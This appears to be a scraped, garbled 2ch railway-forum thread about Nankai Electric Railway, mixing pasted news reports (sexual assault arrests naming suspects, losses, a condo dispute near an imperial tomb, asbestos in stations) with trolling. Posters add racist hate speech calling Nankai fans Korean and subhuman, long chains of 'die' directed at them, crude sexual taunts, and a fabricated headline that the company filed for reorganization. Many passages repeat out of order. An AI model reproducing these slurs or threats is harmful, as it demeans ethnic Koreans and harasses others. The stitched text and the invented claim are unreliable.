どと助けを求めたが、当時車内にいた数人の客は助けようとしなかった。車掌や駅員も気づかなかったという。少年４人は遊び仲間で、女子生徒とは面識がなかった。ttp://www.asahi.com/
kansai/news/OSK200411300005.html◆◇◆◇◆運転士と車掌が女性監禁トイレで強制わいせつ◆◇◆◇◆23歳コンパニオンをトイレに監禁、体触る兵庫県警有馬署は２５日、強制わいせつと
監禁の疑いで、南海電鉄運転士上野敦弘（３４＝大阪府羽曳野市）、南海電鉄車掌喜多信也（３３＝和歌山県橋本市）の両容疑者を逮捕した。調べでは、両容疑者は共謀。５月２９日午後８
時５０分ごろ、神戸・有馬温泉のホテルで、コンパニオン女性（２３）を男性トイレに連れ込み施錠、体に触るなどのわいせつ行為をした疑い。両容疑者は「合意の上だった」と容疑を否認
ソース：朝日新聞２月28日付朝刊35頁社会面４少年が電車・駅で女子高生にわいせつ行為容疑で逮捕--------------------------------------------------------------------------------
大阪府立高校の男子生徒３人を含む少年４人が、女子高校生に電車内などでわいせつな行為をしたとして、府警は２９日、いずれも同府岸和田市内に住む高校３年の男子生徒（１８）と会社
員（１７）を強制わいせつ容疑で、１６、１７歳の高校１年の男子生徒２人を強制わいせつ幇助（ほうじょ）容疑で逮捕した、と発表した。少年らは、女子生徒が電車から降りた後、便所に
連れ込んでわいせつ行為を続けたという。少年課の調べでは、高３の男子生徒は１０月１１日午後１０時１０分ごろ、南海みさき公園発難波行きの電車内で、同じ車両に居合わせた女子生徒
を隣に座らせ、２５分にわたって体を触るなどした疑い。女子生徒が乗り換えのため岸和田駅で下車したところ、この男子生徒と会社員の少年は女子生徒を同駅の男子トイレに連れ込んで約
１０分間、わいせつな行為を続けた疑い。高１の２人は電車内ではやし立てたり、トイレ外側で見張ったりして２人を助けた疑い。同課によると、女子生徒は電車内で「やめてください」な
どと助けを求めたが、当時車内にいた数人の客は助けようとしなかった。車掌や駅員も気づかなかったという。少年４人は遊び仲間で、女子生徒とは面識がなかった。ttp://www.asahi.com/
kansai/news/OSK200411300005.html◆◇◆◇◆運転士と車掌が女性監禁トイレで強制わいせつ◆◇◆◇◆23歳コンパニオンをトイレに監禁、体触る兵庫県警有馬署は２５日、強制わいせつと
監禁の疑いで、南海電鉄運転士上野敦弘（３４＝大阪府羽曳野市）、南海電鉄車掌喜多信也（３３＝和歌山県橋本市）の両容疑者を逮捕した。調べでは、両容疑者は共謀。５月２９日午後８
時５０分ごろ、神戸・有馬温泉のホテルで、コンパニオン女性（２３）を男性トイレに連れ込み施錠、体に触るなどのわいせつ行為をした疑い。両容疑者は「合意の上だった」と容疑を否認
しているという。両容疑者は同期入社の社員十数人と有馬温泉に宿泊。宴会場でコンパニオン数人の接待を受け、２次会でホテル内のバーに移動した。２次会ではコンパニオン数人の時間を
延長して接待を受けていた。両容疑者は女性がトイレへ行くため席を立ったところ「ちょっと来て」と誘い、手を引っ張ってトイレに連れ込んだという。両容疑者は約４０分間、女性をトイ
レに監禁し、わいせつな行為に及んだという。]同僚のコンパニオン女性が席に戻ってこない女性を心配し、男子トイレを外からノックしたが、反応はなかったという。６月上旬に女性が同
署に被害届を提出した。南海電鉄は「あるまじき行為。全社員への教育を徹底する」とコメント、両容疑者の処分を検討している。［2006年7月26日11時6分紙面から］ttp://osaka.nikkansp
orts.com/news/p-on-tp6-20060726-66186.html南海電鉄で囁かれる｢最悪のシナリオ｣怪文書が指摘する疑惑の数々､疑惑に発展か経企庁による“大本営発表”の数字はともかく、いまだ景気
の回復はその兆しすら見えてこないという状況の中、私鉄各社の経営も依然として厳しい状態が続いている。各社とも、主力の鉄道事業収入が年々、減少傾向にあり、関連事業も思わしくな
い。中でも、関西私鉄大手の一角を占める南海電気鉄道の経営状況はかなり厳しい様相を呈している。しかも、同社を巡っては、一年ほど前から経営陣を批判する数種類の怪文書も出回って
おり、その騒動の余波は未だに尾を引いている‥‥。さる五月末、同社の二〇〇〇年三月期決算が発表されたが、その数字を見ても同社の置かれた状況がいかに厳しいものかがうかがえる。
近鉄、阪急、阪神、京阪に続いて関西私鉄大手の中で五位の南海電鉄は、同期の売上高こそ千百九十九億円と、前年同期比で一・六％の伸びを示したものの、経常利益では十九億円と、前年
同期比では実に二七・五％もの減少という惨憺たる結果になっている。さらにいえば、税引き後利益はほぼゼロで、前年同期比ではなんと九八・四％ものマイナス。「全国的に見ても、関西
の雇用情勢は相変わらず厳しい上に、少子高齢化やマイカーへの需要シフトといった構造的なマイナス要因もあることは確かですが、それでも、大手五社の中で経常利益が前年同期比でマイ
延長して接待を受けていた。両容疑者は女性がトイレへ行くため席を立ったところ「ちょっと来て」と誘い、手を引っ張ってトイレに連れ込んだという。両容疑者は約４０分間、女性をトイ
レに監禁し、わいせつな行為に及んだという。]同僚のコンパニオン女性が席に戻ってこない女性を心配し、男子トイレを外からノックしたが、反応はなかったという。６月上旬に女性が同
署に被害届を提出した。南海電鉄は「あるまじき行為。全社員への教育を徹底する」とコメント、両容疑者の処分を検討している。［2006年7月26日11時6分紙面から］ttp://osaka.nikkansp
orts.com/news/p-on-tp6-20060726-66186.html南海電鉄で囁かれる｢最悪のシナリオ｣怪文書が指摘する疑惑の数々､疑惑に発展か経企庁による“大本営発表”の数字はともかく、いまだ景気
の回復はその兆しすら見えてこないという状況の中、私鉄各社の経営も依然として厳しい状態が続いている。各社とも、主力の鉄道事業収入が年々、減少傾向にあり、関連事業も思わしくな
い。中でも、関西私鉄大手の一角を占める南海電気鉄道の経営状況はかなり厳しい様相を呈している。しかも、同社を巡っては、一年ほど前から経営陣を批判する数種類の怪文書も出回って
おり、その騒動の余波は未だに尾を引いている‥‥。さる五月末、同社の二〇〇〇年三月期決算が発表されたが、その数字を見ても同社の置かれた状況がいかに厳しいものかがうかがえる。
近鉄、阪急、阪神、京阪に続いて関西私鉄大手の中で五位の南海電鉄は、同期の売上高こそ千百九十九億円と、前年同期比で一・六％の伸びを示したものの、経常利益では十九億円と、前年
同期比では実に二七・五％もの減少という惨憺たる結果になっている。さらにいえば、税引き後利益はほぼゼロで、前年同期比ではなんと九八・四％ものマイナス。「全国的に見ても、関西
の雇用情勢は相変わらず厳しい上に、少子高齢化やマイカーへの需要シフトといった構造的なマイナス要因もあることは確かですが、それでも、大手五社の中で経常利益が前年同期比でマイ
ナスに転じたのは南海だけです。もっとも、各社とも、主力の鉄道事業だけをみればそれぞれ前年よりも収益が減っているのも確かですが南海の場合、業績不振の観光事業子会社を整理した
り、希望退職者への割増退職金などを特別損失として約二百億円計上したことが大きかったようです。それでも、これだけなら本来なら経常段階でも赤字転落は免れなかったんですが、難波
地区の再開発用地の一部を民間都市開発推進機構へ売却して、その売却益でかろうじて黒字にしているという状態なんです」（在阪の経済誌記者）実際、グループ会社も含めた連結決算では
もっと惨憺たる結果が出ており、連結の売上高でも当初予想を八十億円下回り、最終損益では二十四億円の赤字となっている。前期はかろうじて三億円の黒字をキープしたが、連結での赤字
転落はA連結決算を公表して以来、初めてのことだという。こうした厳しい状況もあってか、労使間の対立も以前にも増してかなり厳しい状況になっているようで、その余波なのか、昨年春以
降、経営陣を批判する怪文書も出回って、関係者の注目を集めているのだ。南海電鉄、堺に１４８メートルのマンション計画 仁徳陵を一望、住民「景観壊す」堺市内に建設が計画されてい
る高さ約百四十八メートルの超高層マンションから、国内最大の前方後円墳の仁徳天皇陵（堺区）が“丸見え”になることがわかった。天皇陵との距離は約一キロ。同市は世界遺産登録を目
指しているが、地元住民からは「景観悪化につながる」と建設反対の動きも。中には「天皇陵を見下ろすことに問題はないのか」の声もある。建設主の南海電鉄は数回にわたり住民説明会を
開いているが、景観論争の決着には時間がかかりそうだ。南海電鉄によると、予定地は南海堺東駅の東側に隣接する車庫跡地約一・四ヘクタール。四十二階と十五階の二棟約五百戸で、平成
二十一年三月のオープンを予定している。高さ約百四十八メートルは市内で最も高い建物となる。ただ、仁徳天皇陵からの距離は北西にわずか約一キロ。同電鉄不動産営業本部では「自然環
境豊かな仁徳陵の眺望は、最大のウリ」という。同電鉄では、計画を打ち出した昨年九月以降、二カ月に一度のペースで地元住民らに説明会を実施しているが、周辺住民は猛反発。天皇陵を
り、希望退職者への割増退職金などを特別損失として約二百億円計上したことが大きかったようです。それでも、これだけなら本来なら経常段階でも赤字転落は免れなかったんですが、難波
地区の再開発用地の一部を民間都市開発推進機構へ売却して、その売却益でかろうじて黒字にしているという状態なんです」（在阪の経済誌記者）実際、グループ会社も含めた連結決算では
もっと惨憺たる結果が出ており、連結の売上高でも当初予想を八十億円下回り、最終損益では二十四億円の赤字となっている。前期はかろうじて三億円の黒字をキープしたが、連結での赤字
転落はA連結決算を公表して以来、初めてのことだという。こうした厳しい状況もあってか、労使間の対立も以前にも増してかなり厳しい状況になっているようで、その余波なのか、昨年春以
降、経営陣を批判する怪文書も出回って、関係者の注目を集めているのだ。南海電鉄、堺に１４８メートルのマンション計画 仁徳陵を一望、住民「景観壊す」堺市内に建設が計画されてい
る高さ約百四十八メートルの超高層マンションから、国内最大の前方後円墳の仁徳天皇陵（堺区）が“丸見え”になることがわかった。天皇陵との距離は約一キロ。同市は世界遺産登録を目
指しているが、地元住民からは「景観悪化につながる」と建設反対の動きも。中には「天皇陵を見下ろすことに問題はないのか」の声もある。建設主の南海電鉄は数回にわたり住民説明会を
開いているが、景観論争の決着には時間がかかりそうだ。南海電鉄によると、予定地は南海堺東駅の東側に隣接する車庫跡地約一・四ヘクタール。四十二階と十五階の二棟約五百戸で、平成
二十一年三月のオープンを予定している。高さ約百四十八メートルは市内で最も高い建物となる。ただ、仁徳天皇陵からの距離は北西にわずか約一キロ。同電鉄不動産営業本部では「自然環
境豊かな仁徳陵の眺望は、最大のウリ」という。同電鉄では、計画を打ち出した昨年九月以降、二カ月に一度のペースで地元住民らに説明会を実施しているが、周辺住民は猛反発。天皇陵を
含む百舌鳥古墳群の世界文化遺産登録に向け、マンション建設が水を差すというのが主な理由だ。地元住民で建設に反対する上村雄彦・大阪府立大名誉教授は「明らかに景観を破壊しており、
建設を中止しなければ世界遺産登録はありえない」と指摘。ユネスコ（国連教育科学文化機関）は、世界文化遺産のケルン大聖堂（独）の周辺で高層ビル開発の計画が持ち上がった際、大聖
堂を危機遺産に登録し、計画をストップさせたという。住民らは今月二十日にも建設中止を求める要望書を市に提出する予定だが、市建築都市局は「古墳の周囲には、低いながらもすでに家や
マンションが建っている。現場に高さ制限はなく、建築基準法をクリアしていれば問題ない。堺の中心地に人を呼び戻す絶好のチャンスと期待している」。ttp://www.sankei.co.jp/news/0604
19/evening/20iti001.htm■「世界遺産登録に“超高層”の影」2006/05/23放送 （長文のため一部省略）この４月に関西で４番目、全国で１５番目に政令市となった大阪府堺市が、再開発問題
で頭を痛めています。超高層マンションで駅前を一気に活性化しようというものなんですが、堺市が世界に誇る歴史遺産の未来に暗い影を落としているんです。しかし去年９月、竹川さんの耳
に信じられないニュースが飛び込んできました。なんと４５階建て、高さ１５２メートルのタワーマンションが建つというのです。世界遺産登録をめざす堺市でなぜこんなことが起こるのでし
ょうか。建設予定地は以前南海電鉄の操車場でしたが、移転に伴い、遊休地となっていました。それがおととしの５月、都心活性化のための特別措置法で、駅西側の商業地とともに、高さ制限
のない緊急整備地域に指定されました。そこに南海電鉄は、超高層マンション計画を立ち上げたのです。〈南海電鉄住宅事業部・田中裕二部長〉「町が変わるんだ、中心地が活性化するんだと。
こういうことの起爆剤、呼び水になると考えています。（超高層マンションは）違和感のない景観だと思っています」＜続く＞しかしこの計画地、反正陵からわずか１２０メートル。完成したら
周囲の景観は激変し、世界遺産登録への影響が心配されます。反対派住民は計画の見直しを訴えましたが、南海電鉄との話し合いは平行線のままです。地元で反対運動を進める吉田さんらは、
建設を中止しなければ世界遺産登録はありえない」と指摘。ユネスコ（国連教育科学文化機関）は、世界文化遺産のケルン大聖堂（独）の周辺で高層ビル開発の計画が持ち上がった際、大聖
堂を危機遺産に登録し、計画をストップさせたという。住民らは今月二十日にも建設中止を求める要望書を市に提出する予定だが、市建築都市局は「古墳の周囲には、低いながらもすでに家や
マンションが建っている。現場に高さ制限はなく、建築基準法をクリアしていれば問題ない。堺の中心地に人を呼び戻す絶好のチャンスと期待している」。ttp://www.sankei.co.jp/news/0604
19/evening/20iti001.htm■「世界遺産登録に“超高層”の影」2006/05/23放送 （長文のため一部省略）この４月に関西で４番目、全国で１５番目に政令市となった大阪府堺市が、再開発問題
で頭を痛めています。超高層マンションで駅前を一気に活性化しようというものなんですが、堺市が世界に誇る歴史遺産の未来に暗い影を落としているんです。しかし去年９月、竹川さんの耳
に信じられないニュースが飛び込んできました。なんと４５階建て、高さ１５２メートルのタワーマンションが建つというのです。世界遺産登録をめざす堺市でなぜこんなことが起こるのでし
ょうか。建設予定地は以前南海電鉄の操車場でしたが、移転に伴い、遊休地となっていました。それがおととしの５月、都心活性化のための特別措置法で、駅西側の商業地とともに、高さ制限
のない緊急整備地域に指定されました。そこに南海電鉄は、超高層マンション計画を立ち上げたのです。〈南海電鉄住宅事業部・田中裕二部長〉「町が変わるんだ、中心地が活性化するんだと。
こういうことの起爆剤、呼び水になると考えています。（超高層マンションは）違和感のない景観だと思っています」＜続く＞しかしこの計画地、反正陵からわずか１２０メートル。完成したら
周囲の景観は激変し、世界遺産登録への影響が心配されます。反対派住民は計画の見直しを訴えましたが、南海電鉄との話し合いは平行線のままです。地元で反対運動を進める吉田さんらは、
手作りの模型で、マンションの及ぼす影響を説明してきました。〈地元対策協議会・吉田暢事務局長〉「イメージがわかない方もおられるんで、『ピラミッドの横に１５０メートルの建物が建つ
という風にお考え頂いたらよくわかりますよ』と。あぁそういうことかと」吉田さんのもとには、すでに７，０００人を越える署名が集まりました。堺市の有識者会議にも名を連ねる専門家はこ
う指摘します。〈京都府立大学・宗田好史助教授〉「あえて、今から登録をめざす遺産の中に高層ビル、それも地元の反対があるとなれば絶望的ですね」世界遺産か高層マンションか。ttp://mb
s.jp/voice/special/200605/23_2733.shtml現在の会社の経営状況があまりにもひどすぎるので、せめて現実逃避しようと旧塗装を走らせてシコシコとオナニーした、情けない赤字南海おらあああ
！！モギャ！∧＿∧―＝≡三∧＿∧＼从从//／（´∀｀）三≡＝――＝≡三と（#´∀｀）つ''"´"∧_ﾉ；*;''"´"''::;:,（阪急つ三≡＝――＝≡三ヽ阪和線￣⌒)＞д(;;;((⌒￣￣￣＿）三≡＝――
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現実逃避しようと旧塗装撮影会でシコシコとオナニーした、情けない赤字南海&南海ヲタ赤字監禁強制わいせつ南海＼(^o^)／ｵﾜﾀ赤字監禁強制わいせつ南海＼(^o^)／ｵﾜﾀ赤字監禁強制わいせつ南海
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う指摘します。〈京都府立大学・宗田好史助教授〉「あえて、今から登録をめざす遺産の中に高層ビル、それも地元の反対があるとなれば絶望的ですね」世界遺産か高層マンションか。ttp://mb
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m/life/update/0804/007.html亀田大毅（かめだだいき、1989年1月6日-）は、プロボクサーである。来歴大阪市西成区天下茶屋出身。小学生からボクシングを始め、天下茶屋中卒業後はアマチュア
の試合に出場し13勝（4KO・RSC）2敗。プロライセンスの実技試験には、世界戦レベルの50人を超える報道陣が集まった。ちなみにプロテスト筆記試験の後で、「協栄」と言う簡単な漢字が書けなか
った事をマスコミに自慢していた。南海はボロい南海電鉄が会社更正法申請乗客減歯止め利かずwww.asahi.com/life/update/0804/007.html
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m/life/update/0804/007.html亀田大毅（かめだだいき、1989年1月6日-）は、プロボクサーである。来歴大阪市西成区天下茶屋出身。小学生からボクシングを始め、天下茶屋中卒業後はアマチュア
の試合に出場し13勝（4KO・RSC）2敗。プロライセンスの実技試験には、世界戦レベルの50人を超える報道陣が集まった。ちなみにプロテスト筆記試験の後で、「協栄」と言う簡単な漢字が書けなか
った事をマスコミに自慢していた。南海はボロい南海電鉄が会社更正法申請乗客減歯止め利かずwww.asahi.com/life/update/0804/007.html
521 ：ひみつの検疫さん：2024/05/09(木) 17:55:32 ID:MarkedRes
汚染を除去しました。
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523 ：名無しでGO!：2006/08/06(日) 12:47:23 ID:KIiBI+xm0
(´･ω･`)知らんがな
重複【監禁】南海電気鉄道スレッドNa78【強制わいせつ】ttp://hobby7.2ch.net/test/read.cgi/rail/1154620360/l50|￣￣￣￣￣￣￣￣||赤字南海||＿＿＿＿＿＿＿＿|∧∧||(ﾟдﾟ)||/づΦ
今日の運用スレは山運用を5時間も張り付いて報告してる。むっちゃキモイ。ttp://2next.net/swf/R3_temp.swf?inputStr=%93%EC%8AC%93d%93S%82%AA%89%EF%8E%D0%8DX%90%B3%96@%90%5C%90%
BF%81@%8F%E6%8Bq%8C%B8%8E%95%8E%7E%82%DF%97%98%82%A9%82%B8
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赤字監禁強制わいせつ南海ヲタが一番気持ち悪い
>138そうだ。廃止だ。トリとか運用スレに毎日二時間分張り付けるやつとか、南海スレはキモイの大杉。赤字監禁強制わいせつ南海ヲタが一番気持ち悪い
今日、たまたま来た特急が9000系だった。何？この高級車。シートふかふか、足元すっきり。仕切り板のおかげで加減速時に体が支えられるし、これだと神戸線ではクロスシートは要らない
なあ。モーター音は意識しないと聞こえない。でかいガラス窓の熱線遮断効果はかなりの性能。液晶画面がドア上部に２つついて、電車に乗っていながら山手線のように大量の情報取得も可
能。南海にも阪急の9000系を導入する余力があればなあ・・・。
なあ。モーター音は意識しないと聞こえない。でかいガラス窓の熱線遮断効果はかなりの性能。液晶画面がドア上部に２つついて、電車に乗っていながら山手線のように大量の情報取得も可
能。南海にも阪急の9000系を導入する余力があればなあ・・・。
南海の経営状況を考えると、こんな最新技術の導入はまだまだ先なのかなあ・・・。ttp://www1.ezbbs.net/14/yone5010/img/1154351298_1.JPGttp://s-liner.hp.infoseek.co.jp/9000-nishi
nomiyakaisou0719-2.jpgttp://s-liner.hp.infoseek.co.jp/9000-nishinomiyakaisou0719-4.jpg
nomiyakaisou0719-2.jpgttp://s-liner.hp.infoseek.co.jp/9000-nishinomiyakaisou0719-4.jpg
重複【監禁】南海電気鉄道スレッドNa78【強制わいせつ】ttp://hobby7.2ch.net/test/read.cgi/rail/1154620360/l50糞赤字監禁強制わいせつ南海ヲタはマジで死ねよ。下らない妄想を長々
と書き込んで恥ずかしい人種だな。南海より阪急が格下なんてお前ら糞糞赤字監禁強制わいせつ南海ヲタの思い込みだろ。煽りじゃなくて、赤字監禁強制わいせつ南海ヲタに半島系の血統が
濃いのは、遺伝学的に明らかにされている客観的事実だからね赤字監禁強制わいせつ南海ヲタは朝鮮人自分たちの都合の悪いことはすべて隠蔽し他地域を侮辱する
と書き込んで恥ずかしい人種だな。南海より阪急が格下なんてお前ら糞糞赤字監禁強制わいせつ南海ヲタの思い込みだろ。煽りじゃなくて、赤字監禁強制わいせつ南海ヲタに半島系の血統が
濃いのは、遺伝学的に明らかにされている客観的事実だからね赤字監禁強制わいせつ南海ヲタは朝鮮人自分たちの都合の悪いことはすべて隠蔽し他地域を侮辱する
赤字監禁強制わいせつ南海ヲタは臭いのであります。生ゴミの腐臭がプンプンと漂ってくるのであります。赤字監禁強制わいせつ南海ヲタは劣等人種なのであります。愚劣低能な民草どもで
あります。赤字監禁強制わいせつ南海ヲタは徹底的に差別してしまわなくてはならないのであります。赤字監禁強制わいせつ南海ヲタは日本人ではないのであります。人間ですらないのであ
ります。赤字監禁強制わいせつ南海ヲタは汚物なのであります。汚物はゴミ箱がお似合いなのであります。赤字監禁強制わいせつ南海ヲタはその生まれを恥じて生きていかなければならない
のであります。赤字監禁強制わいせつ南海ヲタに生まれること、それは人であることを辞めることなのであります。赤字監禁強制わいせつ南海ヲタは自覚を持って下を向いて生きて行かなく
てはならないのであります。赤字監禁強制わいせつ南海ヲタは永久に日陰者として生きて行かなくてはならないのであります。赤字監禁強制わいせつ南海ヲタは劣等人種であることを自覚し
なくてはならないのであります。,..r;;:（人)),;｀ｰ､|ヽ丶_）消赤ヾゞ､ゞ'´'｀´｀ヾ､─|─_）毒字-‐':､ゞ'｀`,l/|ヽ_）だ南ヾ､ゞ;;.,r-､｀ヾ､ヽ､_）l海,rヾ,r!/r'ヽ'｀＼＿|＿_）っ
は_,,,.,ﾉ､_ヽ,｀ゞ;;;:､／|｀)！,r‐'''",.r,ｲ彡ミﾐヾ､｀`´;;iV^V⌒W^Y⌒__,.;;,ｨ'´,:;;;;彳彡ミ;j｀､`i;:､オ;;ヾ､彡;;;ﾉﾘ;jjjjj;;;jr'i.ノ;;:''｀､｀`ｰ､,ｨ彡冫;;il;;;ミ;;;;;y;ﾚ,t'
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,;'ｨ;;:ｲ''｀`ゞ､_,､-‐'´ヽ:;/､｀`ヽ;:､｀'(´｀ゞ､;;;;'',,fi､,≡:;ｲ＝=､,,:'｀`ゞ､,;;ゞ､"´ｲ,...`'彡,／´｀ヾ､ヾ'ｰ､ii;j｀i;;!'´ﾆil';;;;ゞr､_,r'ミ'赤ｰ‐─,rｰ'ﾞｰ─-､_j;:r'´ヾ,
ゞ､ゞ,ﾐ;:l;;l,!,!,i;;'´¨/;.字r-‐;;'"}｀`ヾ､ﾉ,;;;:(i,;)））､,,:;!､__,:};!_,.､l....南_,,,ｨ､i'ヾ人､}(/ノ,r'ir'"ヾ-‐i‐-:;ｲ,/ヾ,.r'´,ｨ'l､_ｨ;;､､,.ミﾐ'´,;:'´ﾊ'´,j,r'}ミ,r;}ゞ
あります。赤字監禁強制わいせつ南海ヲタは徹底的に差別してしまわなくてはならないのであります。赤字監禁強制わいせつ南海ヲタは日本人ではないのであります。人間ですらないのであ
ります。赤字監禁強制わいせつ南海ヲタは汚物なのであります。汚物はゴミ箱がお似合いなのであります。赤字監禁強制わいせつ南海ヲタはその生まれを恥じて生きていかなければならない
のであります。赤字監禁強制わいせつ南海ヲタに生まれること、それは人であることを辞めることなのであります。赤字監禁強制わいせつ南海ヲタは自覚を持って下を向いて生きて行かなく
てはならないのであります。赤字監禁強制わいせつ南海ヲタは永久に日陰者として生きて行かなくてはならないのであります。赤字監禁強制わいせつ南海ヲタは劣等人種であることを自覚し
なくてはならないのであります。,..r;;:（人)),;｀ｰ､|ヽ丶_）消赤ヾゞ､ゞ'´'｀´｀ヾ､─|─_）毒字-‐':､ゞ'｀`,l/|ヽ_）だ南ヾ､ゞ;;.,r-､｀ヾ､ヽ､_）l海,rヾ,r!/r'ヽ'｀＼＿|＿_）っ
は_,,,.,ﾉ､_ヽ,｀ゞ;;;:､／|｀)！,r‐'''",.r,ｲ彡ミﾐヾ､｀`´;;iV^V⌒W^Y⌒__,.;;,ｨ'´,:;;;;彳彡ミ;j｀､`i;:､オ;;ヾ､彡;;;ﾉﾘ;jjjjj;;;jr'i.ノ;;:''｀､｀`ｰ､,ｨ彡冫;;il;;;ミ;;;;;y;ﾚ,t'
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せつ南海ヲタ(__（∩∩）|｜､＿＿_＿＿/ヽ＼＿___//＼/＼／(((つヽｌ二ヽ〉とノ)))))⊂（__ノ^(＿)￣⊃/￣￣￣ヽ.,⊂_＿⊃|（＼／）|[]()⊂＿＿⊃|><|□|（／＼）|ヽ＿＿＿_/ttp://2ne
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せつ南海ヲタ(__（∩∩）|｜､＿＿_＿＿/ヽ＼＿___//＼/＼／(((つヽｌ二ヽ〉とノ)))))⊂（__ノ^(＿)￣⊃/￣￣￣ヽ.,⊂_＿⊃|（＼／）|[]()⊂＿＿⊃|><|□|（／＼）|ヽ＿＿＿_/ttp://2ne
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さぁて、廃人赤字監禁強制わいせつ南海ヲタ以外はいい加減に寝る時間だ。おやすみ。監禁だ強制わいせつ。赤字監禁強制わいせつ南海ヲタボロ電車しか無いヘタレ赤字南海にそんな真似が出
来るわけがない俺は茶色のマルーンの方がいい。◇◆◇◆◇南海電鉄が申告漏れ３年間で３億５０００万円（共同通信）◇◆◇◆◇南海電気鉄道（大阪市中央区）が大阪国税局の税務調査を受
け、２００１年３月期までの３年間で約３億５０００万円の申告漏れを指摘されていたことが２１日、分かった。同国税局は、施設の減価償却費として損金計上した約１０００万円について所
得隠しと認定、重加算税、過少申告加算税を含め約１億１０００万円を追徴課税（更正処分）した。関係者によると、同社は建設した施設にについて供用開始前に減価償却費として約１０００
万円を計上。しかし、同国税局は「施設が供用を開始した後から計上するべきだ」などとした上で、意図的な経理操作があったとして重加算税の対象にしたという。また、そのほかにも資産の
取得にからむ減価償却費などの計上について、経理ミスがあったとして申告漏れを指摘。不正な経理操作はなかったとして過少申告加算税の対象にしたとみられる。ttp://news.goo.ne.jp/new
s/topics/index/02122/1.html
来るわけがない俺は茶色のマルーンの方がいい。◇◆◇◆◇南海電鉄が申告漏れ３年間で３億５０００万円（共同通信）◇◆◇◆◇南海電気鉄道（大阪市中央区）が大阪国税局の税務調査を受
け、２００１年３月期までの３年間で約３億５０００万円の申告漏れを指摘されていたことが２１日、分かった。同国税局は、施設の減価償却費として損金計上した約１０００万円について所
得隠しと認定、重加算税、過少申告加算税を含め約１億１０００万円を追徴課税（更正処分）した。関係者によると、同社は建設した施設にについて供用開始前に減価償却費として約１０００
万円を計上。しかし、同国税局は「施設が供用を開始した後から計上するべきだ」などとした上で、意図的な経理操作があったとして重加算税の対象にしたという。また、そのほかにも資産の
取得にからむ減価償却費などの計上について、経理ミスがあったとして申告漏れを指摘。不正な経理操作はなかったとして過少申告加算税の対象にしたとみられる。ttp://news.goo.ne.jp/new
s/topics/index/02122/1.html
538 ：名無しでGO!：2006/08/09(水) 00:57:33 ID:zuCIDdaZO
age
重複【監禁】南海電気鉄道スレッドNa78【強制わいせつ】ttp://hobby7.2ch.net/test/read.cgi/rail/1154620360/l50赤字監禁強制わいせつ南海ヲタ死ね！！赤字監禁強制わいせつ南海ヲタ死
ね！！赤字監禁強制わいせつ南海ヲタ死ね！！赤字監禁強制わいせつ南海ヲタ死ね！！赤字監禁強制わいせつ南海ヲタ死ね！！赤字監禁強制わいせつ南海ヲタ死ね！！赤字監禁強制わいせつ南
海ヲタ死ね！！赤字監禁強制わいせつ南海ヲタ死ね！！赤字監禁強制わいせつ南海ヲタ死ね！！赤字監禁強制わいせつ南海ヲタ死ね！！赤字監禁強制わいせつ南海ヲタ死ね！！赤字監禁強制わ
いせつ南海ヲタ死ね！！赤字監禁強制わいせつ南海ヲタ死ね！！赤字監禁強制わいせつ南海ヲタ死ね！！赤字監禁強制わいせつ南海ヲタ死ね！！赤字監禁強制わいせつ南海ヲタ死ね！！赤字監
禁強制わいせつ南海ヲタ死ね！！赤字監禁強制わいせつ南海ヲタ死ね！！赤字監禁強制わいせつ南海ヲタ死ね！！赤字監禁強制わいせつ南海ヲタ死ね！！赤字監禁強制わいせつ南海ヲタ死ね！
！赤字監禁強制わいせつ南海ヲタ死ね！！赤字監禁強制わいせつ南海ヲタ死ね！！赤字監禁強制わいせつ南海ヲタ死ね！！赤字監禁強制わいせつ南海ヲタ死ね！！赤字監禁強制わいせつ南海ヲ
タ死ね！！赤字監禁強制わいせつ南海ヲタ死ね！！赤字監禁強制わいせつ南海ヲタ死ね！！赤字監禁強制わいせつ南海ヲタ死ね！！赤字監禁強制わいせつ南海ヲタ死ね！！赤字監禁強制わいせ
つ南海ヲタ死ね！！赤字監禁強制わいせつ南海ヲタ死ね！！南海はボロ派、わいせつ派一般にボロいと言われるのが南海南海ヲタは生きてる価値ないよ南海ヲタってだけで公害のような扱いだ
から死ねよ南海は糞、までは読んだまた非建設的な会話してるな>382赤字監禁強制わいせつ南海ヲタだからね◆◇◆◇◆減損処理で当期赤字に南海電鉄決算◆◇◆◇◆2006年05月12日南海電気
鉄道が１２日発表した０６年３月期連結決算は、売上高が前期比２．９％減の１９０４億円、来園者が減少している遊園地「みさき公園」（大阪府岬町）などの減損処理で発生した特別損失が
ね！！赤字監禁強制わいせつ南海ヲタ死ね！！赤字監禁強制わいせつ南海ヲタ死ね！！赤字監禁強制わいせつ南海ヲタ死ね！！赤字監禁強制わいせつ南海ヲタ死ね！！赤字監禁強制わいせつ南
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から死ねよ南海は糞、までは読んだまた非建設的な会話してるな>382赤字監禁強制わいせつ南海ヲタだからね◆◇◆◇◆減損処理で当期赤字に南海電鉄決算◆◇◆◇◆2006年05月12日南海電気
鉄道が１２日発表した０６年３月期連結決算は、売上高が前期比２．９％減の１９０４億円、来園者が減少している遊園地「みさき公園」（大阪府岬町）などの減損処理で発生した特別損失が
２１０億円に上り、当期損益は６５億円の赤字になった。ソース：www.asahi.com/kansai/news/OSK200605120072.html>388ttp://ja.wikipedia.org/wiki/%E8%B5%A4%E5%AD%97>>388ttp://ja.wik
ipedia.org/wiki/%E7%9B%A3%E7%A6%81 赤字監禁強制わいせつ南海ヲタキモ杉とりとか難波で貼りついたりしようとするキモイ奴らはCarlito(Who's that boy)とか、APerfectSkyとか知らんのだ
ろうな。南海電鉄 アスベストむき出し南海電鉄によりますと、あわせて１３の駅で天井のはりなどにアスベストが使われており、中でも大阪市内と堺市内の６つの駅ではアスベストを吹きつけ
た部分が密閉されず、一部がむき出しになっていて、薬品などで固定する措置も取られていないということです。このうち、１つの駅では、近く予定されている改築に合わせてアスベストを撤
去しますが、ほかの５つの駅では撤去や密閉などの新たな措置は今のところ考えていないということです。これについて南海電鉄の総務部は、現状でもアスベストが飛び散るおそれはないとし
ており、アスベストがむき出しになっている駅がどこかは明らかにしていません。一方、大阪の大手私鉄、京阪電鉄によりますと、４つの駅で建物にアスベストが吹き付けられており、このう
ち、大阪・枚方市の村野駅の屋根の一部でアスベストがむき出しになっているということです。京阪電鉄でも、アスベストが飛散する心配はほとんどないとしていますが、近く、撤去すること
にしています。このほか、近鉄でも５つの駅でアスベストが吹き付けられていますが、飛散しないように固定する措置を取っているため、健康上の心配はないとしています。ttp://www3.nhk.o
r.jp/news/2005/08/02/d20050802000028.html南海電鉄アスベストむき出しについてのＮＨＫのテレビ報道ttp://www3.nhk.or.jp/news/parts/img/news/news_video.gif
